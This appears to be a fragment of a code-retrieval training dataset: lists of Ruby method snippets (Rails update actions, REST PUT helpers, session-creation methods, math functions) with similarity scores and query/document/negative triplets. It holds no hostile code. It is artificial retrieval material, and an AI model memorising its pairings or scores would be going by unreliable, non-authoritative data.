"def update\n respond_to do |format|\n if @star_node.update(star_node_params)\n format.html { redirect_to @star_node, notice: \"Star node was successfully updated.\" }\n format.json { render :show, status: :ok, location: @star_node }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @star_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def run(request, data)\n node = Razor::Data::Node[:name => data['node']]\n operation = { 'update' => { data['key'] => data['value'] } }\n operation['no_replace'] = data['no_replace']\n\n begin\n node.modify_metadata(operation)\n rescue Razor::Data::NoReplaceMetadataError\n request.error 409, :error => _('no_replace supplied and key is present')\n end\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def put!\n request! :put\n end",
"def put\n if(resource.collection?)\n Forbidden\n elsif(!resource.parent_exists? || !resource.parent_collection?)\n Conflict\n else\n resource.lock_check if resource.supports_locking?\n status = resource.put(request, response)\n response['Location'] = \"#{scheme}://#{host}:#{port}#{url_format(resource)}\" if status == Created\n response.body = response['Location']\n status\n end\n end",
"def update\n respond_to do |format|\n name = Server.find(params[:id]).name\n n = Neography::Node.find('servers', 'name', name)\n n.name = server_params[:name]\n n.add_to_index('servers', 'name', server_params[:name]) #TODO: is this necessary?\n if @server.update(server_params)\n format.html { redirect_to @server, notice: 'Server was successfully updated.' }\n format.json { render :show, status: :ok, location: @server }\n else\n format.html { render :edit }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n \n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def setNodeOFF(node_id) \n cm_url = APP_CONFIG['cm_ip'] + ':' + APP_CONFIG['cm_port'].to_s\n\n options = {body: {state:\"off\"}.to_json, :headers => { 'Content-Type' => 'application/json' }}\n res = HTTParty.put(cm_url+\"/resources/node/\"+ node_id, options)\n \n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update\n\t\t# Left empty intentionally.\n\tend",
"def update\n # Draft or Publish buttons support\n params[:resource][:status] = 'PUBLISHED' if params[:publish_button]\n params[:resource][:status] = 'DRAFT' if params[:draft_button]\n params[:resource][:status] = 'ARCHIVED' if params[:archive_button]\n\n @resource = Resource.find(params[:id])\n @resource_type = @resource.resource_type\n Website.associate_website(@resource, session[:website])\n tree_node = params[:resource][:tree_nodes_attributes]['0']\n if tree_node\n @tree_node = TreeNode.find_by_id_and_resource_id(tree_node[:id],params[:id])\n end\n\n # # ******************\n # # Check permissions!\n # if not (@tree_node && @tree_node.can_edit?)\n # flash[:notice] = \"Access denied. User can't edit this node\"\n # redirect_to session[:referer]\n # end\n # # ******************\n\n parent_id = tree_node[:parent_id]\n unless parent_id == '0' && AuthenticationModel.current_user_is_admin?\n # parent_tree_node = TreeNode.find(parent_id)\n if not (@tree_node && @tree_node.can_edit?)\n flash[:notice] = \"Access denied. User can't create tree node\"\n redirect_to session[:referer]\n end\n end\n \n params[:resource].merge!(:updated_at => Time.now)\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n flash[:notice] = 'Resource was successfully updated.'\n format.html { redirect_to session[:referer] || :back}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" } #:text => params.inspect } # }\n format.xml { render :xml => @resource.errors.to_xml }\n end\n end\n end",
"def update\r\n\r\n end",
"def update\n head :ok\n end",
"def set_node\r\n @node = Node.find(params[:id])\r\n end"
] | [
"0.6895477",
"0.6892224",
"0.68580204",
"0.6730648",
"0.67242765",
"0.67242765",
"0.67242765",
"0.67068183",
"0.66991657",
"0.66757154",
"0.6635539",
"0.6635539",
"0.6635539",
"0.6607454",
"0.66069",
"0.66003865",
"0.65621966",
"0.6557654",
"0.6527879",
"0.6507732",
"0.6500208",
"0.64932054",
"0.6486881",
"0.64594084",
"0.6449668",
"0.64440197",
"0.6404706",
"0.631376",
"0.6308124",
"0.6280264",
"0.6271798",
"0.62556607",
"0.62389976",
"0.62249684",
"0.62218434",
"0.6216902",
"0.6211094",
"0.620977",
"0.6172058",
"0.6163236",
"0.6148485",
"0.61393726",
"0.6130033",
"0.61204565",
"0.6117478",
"0.6115658",
"0.6108527",
"0.60827607",
"0.60297364",
"0.6022884",
"0.6014228",
"0.6001235",
"0.59944254",
"0.5990674",
"0.5980557",
"0.5979394",
"0.5973564",
"0.597269",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59636265",
"0.59460956",
"0.59379965",
"0.59362847",
"0.59362847",
"0.5930052",
"0.5921499",
"0.59184206",
"0.59077644",
"0.59035134"
] | 0.0 | -1 |
Creates a new session | def new
@session = Session.new('')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_session\n @connection.create_session(@config || {})\n end",
"def create!(*args)\n session = new(*args)\n session.save!\n session\n end",
"def create_session\n login, password = get_login_and_password\n create_session_with authenticate_user(login, password, :trace => true)\n end",
"def create_session(session_id, data)\n session_id = escape(session_id)\n new_session = new(session_id, data)\n new_session\n end",
"def create!(*args)\n session = new(*args)\n session.save!\n end",
"def create!(*args)\n session = new(*args)\n session.save!\n end",
"def new_session\n open_session do |sess|\n sess.extend(SessionMethods)\n yield sess if block_given?\n end\n end",
"def create_session\n raise NotImplementedError\n end",
"def create_session(config)\n options = (config[:options] || {}).dup\n session = Moped::Session.new(config[:hosts], options)\n session.use(config[:database])\n if authenticated?(config)\n session.login(config[:username], config[:password])\n end\n session\n end",
"def new\n @session = Session.new\n end",
"def new\n @session = Session.new\n end",
"def new_session(options)\n options[:source_profile] = options[:source_profile].to_sym\n options[:profile] = options[:profile].to_sym\n\n user_prof = user_profile(options[:source_profile], options[:config_file])\n options = user_prof.to_h.deep_merge(options).deep_symbolize_keys\n\n sb = SessionBuilder.new(\n mfa_device: mfa_device(options),\n session_duration_seconds: options[:duration],\n source_profile: user_prof\n )\n set_user_session_profile(options[:profile], sb.session_profile)\n end",
"def create(*args, &block)\n session = new(*args)\n session.save(&block)\n end",
"def create\n return if Settings.readonly \n\n @session = Session.new(session_params)\n\n respond_to do |format|\n if @session.save\n format.html { redirect_to sessions_url, notice: 'Session was successfully created.' }\n format.json { render :show, status: :created, location: @session }\n else\n format.html { render :new }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_session(body, opts = {})\n data, _status_code, _headers = create_session_with_http_info(body, opts)\n data\n end",
"def create_session\n Puppet::HTTP::Session.new(self, build_resolvers)\n end",
"def create_session\n @user = User.new(nickname: User.temp_user_name)\n @user.save\n session[:user_id] = @user.id\n @user\n end",
"def create_session(location='', opts={})\n opts.merge!({:location => location})\n doc = do_request '/session/create', opts\n\n unless doc.get_elements('Errors').empty?\n raise OpenTokException.new doc.get_elements('Errors')[0].get_elements('error')[0].children.to_s\n end\n Session.new doc.root.get_elements('Session')[0].get_elements('session_id')[0].children[0].to_s\n end",
"def create_user_session\n password = '12345678'\n user = User.make!(\n password: password,\n password_confirmation: password\n )\n UserSession.create!(\n email: user.email,\n password: password\n )\n end",
"def new\n @session = User::Session.new\n end",
"def create_session(params)\n driver.createSession(\n self.account_data,\n self.transaction_data(params),\n params[:transaction_type],\n params[:payment_type],\n params[:options] || {},\n { 'redirectUrl' => params[:success_url], 'silentErrorUrl' => params[:error_url] }\n )[0]\n end",
"def create\n session = Session.new\n session.name = params[:name]\n session.description = params[:description]\n session.start_time = params[:date]\n # TODO: need date\n # TODO: need topic\n session.active = true;\n # add ot_session.id\n ot_session = @@opentok.create_session({media_mode: :routed})\n session.session_id = ot_session.session_id\n # try and save the session\n saved = session.save\n # add moderators\n params[:moderators].each do |moderator|\n SessionUser.create(session_id: session.id, user_id: moderator[:id], role: 'moderator', center_stage: true)\n end\n # add subscribers\n params[:subscribers].each do |subscriber|\n puts subscriber\n SessionUser.create(session_id: session.id, user_id: subscriber[:id], role: 'publisher', center_stage: false)\n end\n if saved\n render json: {message: \"Event: #{session.name} successfully added\"}, status: 200\n else\n render json: {errors: session.errors.to_json}, status: 500\n end\n end",
"def create_session(parms)\n @session = Session.new(parms)\n pp @session\n returnValue = false\n if people = People.auth(@session)\n session[:people] = people.id\n cookies[:people] = people.id\n unless people.id.nil?\n returnValue = true\n end\n end\n returnValue\n end",
"def create_session\n session[:who_is_this] = \"admin\"\n end",
"def create\n @session = Session.new(session_params)\n\n respond_to do |format|\n if @session.save\n format.html { redirect_to @session }\n format.json { render :show, status: :created, location: @session }\n else\n format.html { render :new }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_user_session(user)\n session = new_session\n session.login!(user)\n return session\n end",
"def create\n @session = SessionService.new(current_user).create_from_web! session_params\n\n respond_to do |format|\n format.html { redirect_to @session, notice: 'Session was successfully created.' }\n format.json { render json: @session, status: :created }\n end\n end",
"def create_session(params={})\n raise \"HornetQ::Client::Connection Already Closed\" unless @connection\n params ||= {}\n session = @connection.create_session(\n params[:username],\n params[:password],\n params[:xa] || false,\n params[:auto_commit_sends].nil? ? true : params[:auto_commit_sends],\n params[:auto_commit_acks].nil? ? true : params[:auto_commit_acks],\n params[:pre_acknowledge] || false,\n params[:ack_batch_size] || 1)\n (@sessions << session) if params.fetch(:managed, false)\n session\n end",
"def create\n @session = ::Session.authenticate(session_params)\n\n if @session.save\n render :show, status: :created, location: @session\n else\n render json: @session.errors, status: :unprocessable_entity\n end\n end",
"def new_session\n session = IntegrationSession.new\n session.test_case = self\n return session\n end",
"def new_session(options={})\n if supports_sessions?\n api.rest_method('ADD_AUTHORIZATION', {\n :scope => 'session',\n :note => \"RHC/#{RHC::VERSION::STRING} (from #{Socket.gethostname rescue 'unknown'} on #{RUBY_PLATFORM})\",\n :reuse => true\n }, options)\n end\n end",
"def new_session\n IntegrationSession.new\n end",
"def create\n \n # remove any existing session of this user\n # TODO: update custom validations in model to work with this\n @session = Session.where(\"sender_id = #{session_params[:sender_id]} OR recipient_id = #{session_params[:sender_id]}\").first\n @session.destroy if @session\n \n @session = Session.new(session_params)\n \n if @session.valid?\n @session.session_id = Session.createSession(request.remote_addr).to_s\n @session.sender_token = Session.generateToken(@session.session_id, @session.sender.id.to_s)\n @session.recipient_token = Session.generateToken(@session.session_id, @session.recipient.id.to_s)\n end\n\n respond_to do |format|\n if @session.save\n format.html { redirect_to @session, notice: 'Session was successfully created.' }\n format.json { render action: 'show', status: :created, location: @session }\n else\n format.html { render action: 'new' }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @session = Session.new(params[:session])\n\n respond_to do |format|\n if @session.save\n flash[:notice] = t 'flash.notice.successfully.created', :object => Session.human_name\n format.html { redirect_to(@session) }\n format.xml { render :xml => @session, :status => :created, :location => @session }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @session.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @session = Session.new(session_params)\n @session.created_by = current_user.id\n\n respond_to do |format|\n if @session.save\n format.html { redirect_to game_session_path(@session), notice: 'Session was successfully created.' }\n format.json { render action: 'show', status: :created, location: @session }\n else\n format.html { render action: 'new' }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_session\n raw_token, enc_token = account.create_session(ip, meta_info)\n set_account_cache(account, raw_token)\n set_auth_token_cache(enc_token, raw_token)\n return raw_token\n end",
"def start_session\n generate_token(:token)\n setup_session\n update_last_session\n end",
"def create\n @session = Session.new(session_params)\n authorize @session\n\n respond_to do |format|\n if @session.save\n format.html { redirect_to @session, notice: 'Session was successfully created.' }\n format.json { render :show, status: :created, location: @session }\n else\n format.html { render :new }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @session = Session.new(session_params)\n\n respond_to do |format|\n if @session.save\n reset_session\n session[:user_id] = @session.user.id\n format.html { redirect_to root_path, notice: 'Login success!' }\n format.json { render :show, status: :created, location: @session }\n else\n format.html { render :new }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_new_session\n session = reviewer_access_sessions.build\n session.save!\n session\n end",
"def create_session(start, opts = {})\n data, _status_code, _headers = create_session_with_http_info(start, opts)\n return data\n end",
"def create_session(conn, opts={})\n # If there is a parent payload, then use that in preference.\n return parent_payload.create_session(conn, opts) if (parent_payload)\n\n # If the payload we merged in with has an associated session factory,\n # allocate a new session.\n if (self.session)\n begin\n # if there's a create_session method then use it, as this\n # can form a factory for arb session types based on the\n # payload.\n if self.session.respond_to?('create_session')\n s = self.session.create_session(conn, opts)\n else\n s = self.session.new(conn, opts)\n end\n rescue ::Exception => e\n # We just wanna show and log the error, not trying to swallow it.\n print_error(\"#{e.class} #{e.message}\")\n elog('Could not allocate a new Session.', error: e)\n raise e\n end\n\n # Pass along the framework context\n s.framework = framework\n\n # Associate this system with the original exploit\n # and any relevant information\n s.set_from_exploit(assoc_exploit)\n\n # set injected workspace value if db is active\n if framework.db.active && wspace = framework.db.find_workspace(s.workspace)\n framework.db.workspace = wspace\n end\n\n # Pass along any associated payload uuid if specified\n if opts[:payload_uuid]\n s.payload_uuid = opts[:payload_uuid]\n s.payload_uuid.registered = false\n\n if framework.db.active\n payload_info = {\n uuid: s.payload_uuid.puid_hex,\n workspace: framework.db.workspace\n }\n if s.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.db.payloads(payload_info).first)\n s.payload_uuid.registered = true\n s.payload_uuid.name = uuid_info['name']\n s.payload_uuid.timestamp = uuid_info['timestamp']\n else\n s.payload_uuid.registered = false\n end\n end\n end\n\n # If the session is valid, register it with the framework and\n # notify any waiters we may have.\n if (s)\n register_session(s)\n end\n\n return s\n end\n nil\n end",
"def new(api_key = nil, secret_key = nil, session_key = nil)\n Session.create(api_key, secret_key, session_key)\n end",
"def create\n @current_session = CurrentSession.new(params[:current_session])\n\n if @current_session.save\n render json: @current_session, status: :created, location: @current_session\n else\n render json: @current_session.errors, status: :unprocessable_entity\n end\n end",
"def set_session(env, sid, new_session, options)\n# if options[:drop]\n# @sessions[sid] = nil\n# return false\n# end\n @sessions[sid] = new_session\n\n # Commit the repository, including session data.\n Maglev.commit_transaction\n return sid\n end",
"def new_session\r\n session = ActionController::Integration::Session.new\r\n yield session if block_given?\r\n session\r\nend",
"def create\n\t \t\tmodule_grand_access = permission_control(\"session\",\"create\")\n\t \t\tif module_grand_access\n\t \t\t\tsession = Session.new(session_params)\n\t \t\t\tsession.created_by = current_user.id\n\t \t\t\tif session.save!\n\t \t\t\t\trender json: session, status: :created\n\t \t\t\telse\n\t \t\t\t\trender json: session.errors,status: :bad_request\n\t \t\t\tend\n\t \t\telse\n \t \t\t\trender json: { error: \"You dont have permission to perform this action,Please contact Site admin\" }, status: :unauthorized\t \t\t\t\n\t\t\tend\n\t \tend",
"def create_session(ip, meta_info={})\n raw, enc = Authentication::TokenGenerator.generate(Authentication::Session, 'authentication_token')\n Authentication::Session.create({\n 'authentication_token' => enc,\n 'meta_info' => meta_info,\n 'ip' => ip,\n 'account_id' => self.id\n })\n return raw, enc\n end",
"def open_session; end",
"def create_session user_id\n @state.user_id = user_id\n end",
"def open_session\n @current_session = new_session\n @current_session.test_case = self\n yield @current_session if block_given?\n @current_session\n end",
"def init_session\n if session\n if session.updated_at < Time.now - ::Gricer.config.max_session_duration\n self.session = Session.create previous_session: session, ip_address: @ip_address, agent: agent, requested_locale: @request_locale\n else\n self.session.touch\n end\n else\n self.is_first_in_session = true\n self.session = Session.create ip_address: @ip_address, agent: agent, requested_locale: @request_locale\n self.session.touch\n end\n \n session\n end",
"def create_smite_api_session\n session_timestamp = Time.now.getutc.strftime(\"%Y%m%d%H%M%S\")\n session_string = \"#{ENV['SMITE_API_DEV_ID']}\" + 'createsession' + \"#{ENV['SMITE_API_AUTHKEY']}\" + session_timestamp\n session_signature = Digest::MD5.hexdigest(session_string)\n\n smite_session = RestClient.get(\"#{SMITE_PC_URL}/createsessionJson/#{ENV['SMITE_API_DEV_ID']}/#{session_signature}/#{session_timestamp}\")\n JSON.parse(smite_session)['session_id']\nend",
"def create_session(channel_id, options={})\n match = post_json(\"sessions\", options.merge(\n :channel_id => channel_id.to_s\n ))[:body].match(%r{/sessions/([^/]+)})\n match[1] if match\n end",
"def create\n unless session[:user_id].present?\n user = User.create_user\n session[:user_id] = user.id\n end\n end",
"def create_consumer_session\n connection.create_session(@config || {})\n end",
"def create_session(account_id, opts = {})\n data, _status_code, _headers = create_session_with_http_info(account_id, opts)\n data\n end",
"def set_session\n \n end",
"def start_session\n session_tracker.start_session\n end",
"def create\n reset_session\n params[:user] ||= {}\n username = params[:user][:username].to_s\n password = params[:user][:password].to_s\n user = User.where('username = ? and crypted_password = ?', username, User.encrypt(password)).first\n\n params[:client_uid] = 'Web Platform' if request.format.html?\n \n if user && params[:client_uid]\n session_obj = Session.create(user_id:user.id, client_uid:params[:client_uid])\n session[:app_session_id] = session_obj.id\n session[:user_id] = user.id\n\n if request.format.html?\n redirect_to controller: 'main'\n elsif request.format.json?\n render json: {success: true, session: session_obj.to_json}\n end\n else\n if request.format.html?\n flash[:alert] = \"Cannot login, please try again\"\n render action: 'new'\n elsif request.format.json?\n render json: {success: false, message: 'Cannot login, please try again'}\n end\n end\n end",
"def create\n action = LogUserIn.new :web\n @session = Session.new params[:session]\n\n if user = action.run(@session.login, @session.password)\n previous_path = session[:login_redirect_to]\n set_new_user_session user, @session.remember_me\n\n redirect_to previous_path || root_path\n else\n flash.now[:login_error] = true\n render action: \"new\"\n end\n end",
"def create_session(timeout=nil)\n if timeout.class == Fixnum && !block_given?\n return ::Vertx::Util::Utils.safe_create(@j_del.java_method(:createSession, [Java::long.java_class]).call(timeout),::VertxWeb::Session)\n end\n raise ArgumentError, \"Invalid arguments when calling create_session(timeout)\"\n end",
"def new\n\t\t@user_session = UserSession.new\n\tend",
"def new\n @user_session = UserSession.new\n end",
"def new\n @user_session = UserSession.new\n end",
"def new\n @user_session = UserSession.new\n end",
"def new\n @user_session = UserSession.new\n end",
"def new\n @user_session = UserSession.new\n end",
"def new\n @taster_session = TasterSession.new\n end",
"def createSession(groupID, authorID, validUntil)\n call :createSession, :groupID => groupID, :authorID => authorID, :validUntil => validUntil\n end",
"def set_session_for(user)\n UserSession.create(user)\n end",
"def create\n reset_session\n u = User.authenticate(params[:session][:login], params[:session][:password])\n \n if u\n reset_session\n session[:user_id] = u.id\n session[:user_login] = u.login\n @current_user = User.find(session[:user_id])\n flash[:notice] = 'hi, again!'\n redirect_to dashboard_url\n else\n flash[:error] = 'Invalid login or password.'\n redirect_to root_url\n end\n end",
"def create\n @session = FitnessSession.create(session_params)\n if @session.type_session_id == 1\n CyclingSession.create(:fitness_session_id =>@session.id)\n elsif @session.type_session_id == 2\n WeightLiftingSession.create(:fitness_session_id =>@session.id)\n else\n JoggingSession.create(:fitness_session_id =>@session.id)\n end\n\n #respond_to do |format|\n if @session.save\n redirect_to '/fitness_sessions/',notice: \"\"\n #format.html { redirect_to @session, notice: 'Session was successfully created.' }\n #format.json { render :show, status: :created, location: @session }\n else\n #format.html { render :new }\n redirect_to '/fitness_sessions/',notice: \"\"\n #format.json { render json: @session.errors, status: :unprocessable_entity }\n #end\n end\n end",
"def create_write_and_return_new_session!\n require 'timeout'\n\n session = DropboxSession.new(api_key, api_secret)\n\n # grab the request token for session\n session.get_request_token\n\n template = Backup::Template.new(\n {:session => session, :cached_file => cached_file}\n )\n template.render(\"storage/dropbox/authorization_url.erb\")\n\n # wait for user to hit 'return' to continue\n Timeout::timeout(180) { STDIN.gets }\n\n # this will raise an error if the user did not\n # visit the authorization_url and grant access\n #\n # get the access token from the server\n # this will be stored with the session in the cache file\n session.get_access_token\n\n template.render(\"storage/dropbox/authorized.erb\")\n write_cache!(session)\n template.render(\"storage/dropbox/cache_file_written.erb\")\n\n session\n\n rescue => err\n raise Errors::Storage::Dropbox::AuthenticationError.wrap(\n err, 'Could not create or authenticate a new session'\n )\n end",
"def open\n session = @@opentok.create_session({media_mode: :routed})\n @session = Session.create(session_id: session.session_id,\n active: true)\n render json: @session\n end",
"def initialize_session(params_hash)\n raise_error_unless_params_is_a_hash(params_hash)\n raise_error_if_params_are_empty(params_hash)\n request.method = :post\n request.uri = '_session'\n Couchdbtools.execute(request)\n end",
"def create\n user = User.from_omniauth(env[\"omniauth.auth\"])\n session[:user_id] = user.id\n me=User.find(user.id)\n me.loggedin=true\n me.tutoring=false\n me.request=Request.new(class_name:\"3365f80a5cccb3e76443df3b736b26e8\")\n me.save\n render erb: :'sessions#create'\nend",
"def ensure_session(sess_label)\n die \"Unknown session: '#{sess_label}'.\" unless Config.session? sess_label\n\n Session.new label: sess_label\n end",
"def new(*)\n # return new mock session\n BunnyMock::Session.new\n end",
"def session; end",
"def session; end",
"def session; end",
"def session; end",
"def opentok_session\n opentok.create_session(request.remote_addr).to_s\n end",
"def create_new_id\n @new_session = true\n self.class.generate_unique_id\n end",
"def session # :nodoc:\n sess = Mack::SessionStore.get($current_session_id, nil, nil, nil)\n if sess.nil?\n id = String.randomize(40).downcase\n set_cookie(configatron.mack.session_id, id)\n sess = Mack::Session.new(id)\n Mack::SessionStore.store.direct_set(id, sess)\n $current_session_id = id\n sess \n end\n sess\n end",
"def set_session\n @session = BatchConnect::Session.find(params[:id])\n end",
"def create_session\n req_params = params[:user]\n unless req_params\n @msg = \"Login details not found\"\n render \"objects/msg.json\", status: :unauthorized and return\n end\n @user = User.find_by_email(req_params[:email])\n if @user && @user.authenticate(req_params[:password])\n session[:user_id] = @user.id\n render 'objects/user.json'\n else\n @msg = \"Email or password is invalid\"\n render \"objects/msg.json\", status: :unauthorized\n end\n end",
"def write_session(env, sid, session, options); end",
"def with_name(name)\n Threaded.sessions[name.to_sym] ||= Sessions::Factory.create(name)\n end",
"def create\n options = {:remember_me => true}.merge(params[:user_session])\n @user_session = UserSession.new(options)\n if @user_session.save\n redirect_back_or_default root_url\n else\n @failed = true\n render :action => :new\n end\n end",
"def create\n @tsession = Tsession.new(tsession_params)\n\n respond_to do |format|\n if @tsession.save\n format.html { redirect_to @tsession, notice: 'Tsession was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tsession }\n else\n format.html { render action: 'new' }\n format.json { render json: @tsession.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_session\n # byebug\n user = User.find_by(\n email: params[:email],\n password: params[:password]\n )\n\n if (user.nil?)\n redirect_to action: \"sign_in\"\n else\n session[:user_id] = user.id\n\n redirect_to \"/users/#{user.id}\"\n end\n\n end",
"def session\n end",
"def session_begin(cred, mode)\n #This is a stub, used for indexing\n end",
"def save_session(session)\n \n end",
"def create_session(token, params={})\n params.merge!('token' => token)\n params.merge!(params) { |k,v| v.to_s } # custom parameters must be strings\n response = post(PLURAL_PATH, params)\n response.id = response.id.strip if response.id\n response\n end",
"def new_session\n @logger.info(\"Attempting to connect to WinRM (patched)...\")\n @logger.info(\" - Host: #{@host}\")\n @logger.info(\" - Port: #{@port}\")\n @logger.info(\" - Username: #{@username}\")\n\n client = ::WinRM::WinRMWebService.new(endpoint, :ssl, endpoint_options)\n client.set_timeout(@timeout_in_seconds)\n client.toggle_nori_type_casting(:off) #we don't want coersion of types\n client\n end",
"def start_session\n return unless Bugsnag.configuration.enable_sessions && Bugsnag.configuration.should_notify_release_stage?\n\n start_delivery_thread\n start_time = Time.now().utc().strftime('%Y-%m-%dT%H:%M:00')\n new_session = {\n id: SecureRandom.uuid,\n startedAt: start_time,\n paused?: false,\n events: {\n handled: 0,\n unhandled: 0\n }\n }\n SessionTracker.set_current_session(new_session)\n add_session(start_time)\n end",
"def create_session_with_http_info(start, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SessionApi.create_session ...\"\n end\n # verify the required parameter 'start' is set\n fail ArgumentError, \"Missing the required parameter 'start' when calling SessionApi.create_session\" if start.nil?\n # resource path\n local_var_path = \"/session/add\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'start'] = start\n query_params[:'boat_id'] = opts[:'boat_id'] if !opts[:'boat_id'].nil?\n query_params[:'trip_id'] = opts[:'trip_id'] if !opts[:'trip_id'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20043')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SessionApi#create_session\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end"
] | [
"0.85836065",
"0.7939415",
"0.7878301",
"0.7827873",
"0.78236717",
"0.78236717",
"0.78221744",
"0.781109",
"0.75607276",
"0.7535805",
"0.7512194",
"0.7357752",
"0.7325104",
"0.72701156",
"0.72445536",
"0.71911633",
"0.7148841",
"0.712402",
"0.712297",
"0.709245",
"0.7089648",
"0.70816934",
"0.7080697",
"0.7079047",
"0.70697165",
"0.7033852",
"0.70307",
"0.7029453",
"0.69886065",
"0.69843596",
"0.6964876",
"0.69402725",
"0.6939292",
"0.689611",
"0.6893577",
"0.6861051",
"0.6814618",
"0.68093264",
"0.68041384",
"0.6784659",
"0.67842185",
"0.67787343",
"0.6750058",
"0.67417467",
"0.66642356",
"0.6645023",
"0.66434276",
"0.6642935",
"0.6632197",
"0.6627817",
"0.66043335",
"0.6583658",
"0.6580004",
"0.6576421",
"0.6576287",
"0.6574048",
"0.6572888",
"0.6571004",
"0.65466803",
"0.6535778",
"0.6535641",
"0.6527531",
"0.6526997",
"0.65145403",
"0.65145403",
"0.65145403",
"0.65145403",
"0.65145403",
"0.6495328",
"0.6436422",
"0.64355344",
"0.64322895",
"0.63834226",
"0.6382328",
"0.6377186",
"0.63741153",
"0.63704073",
"0.6341645",
"0.63294417",
"0.63263273",
"0.63263273",
"0.63263273",
"0.63263273",
"0.63258237",
"0.6325241",
"0.6324329",
"0.63223064",
"0.63202",
"0.63180566",
"0.63166773",
"0.6316365",
"0.6316193",
"0.63156146",
"0.6296291",
"0.62912774",
"0.62858367",
"0.6276372",
"0.6265341",
"0.6260651",
"0.62577957"
] | 0.7707305 | 8 |
Formula for side (2 cos[((n2) pi)/ (2 n)] | def side_length
top = (@num_sides - 2) * Math::PI
angle = top / (2 * @num_sides)
@side_length = 2 * Math.cos(angle)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def side_from_sas(side1, angle, side2)\n Math.sqrt(\n (\n side1**2 + side2**2\n ) - (\n 2 * side1 * side2 * Math.cos(\n (angle * (Math::PI / 180))\n )\n )\n )\n end",
"def cosine_omega\r\n lat_r = @latitude * @d2r\r\n dec_r = declination * @d2r\r\n sin(-0.8333 * @d2r) - sin(lat_r) * sin(dec_r) /\r\n cos(lat_r) * cos(dec_r)\r\nend",
"def cosine\n\tcosine of 120 degrees is -.5\n\ta2 = c2 + b2 - 2bc cos A, (this is important to use)\n\tis it a triange? (a+b > c && a+c > b && b+c > a)\nend",
"def cos\n math :cos\n end",
"def th\n return ((hex_side_length - 0.30) * Math.sin(Math::PI / 6))\n end",
"def climb_stairs(n)\n return 1 if n == 1\n return 2 if n == 2\n phi = (Math.sqrt(5) + 1)/2\n inverse_phi = (Math.sqrt(5) - 1)/2\n \n return ((phi ** (n + 1) - (inverse_phi ** n))/Math.sqrt(5)).round\nend",
"def cos(v); Math.cos(v); end",
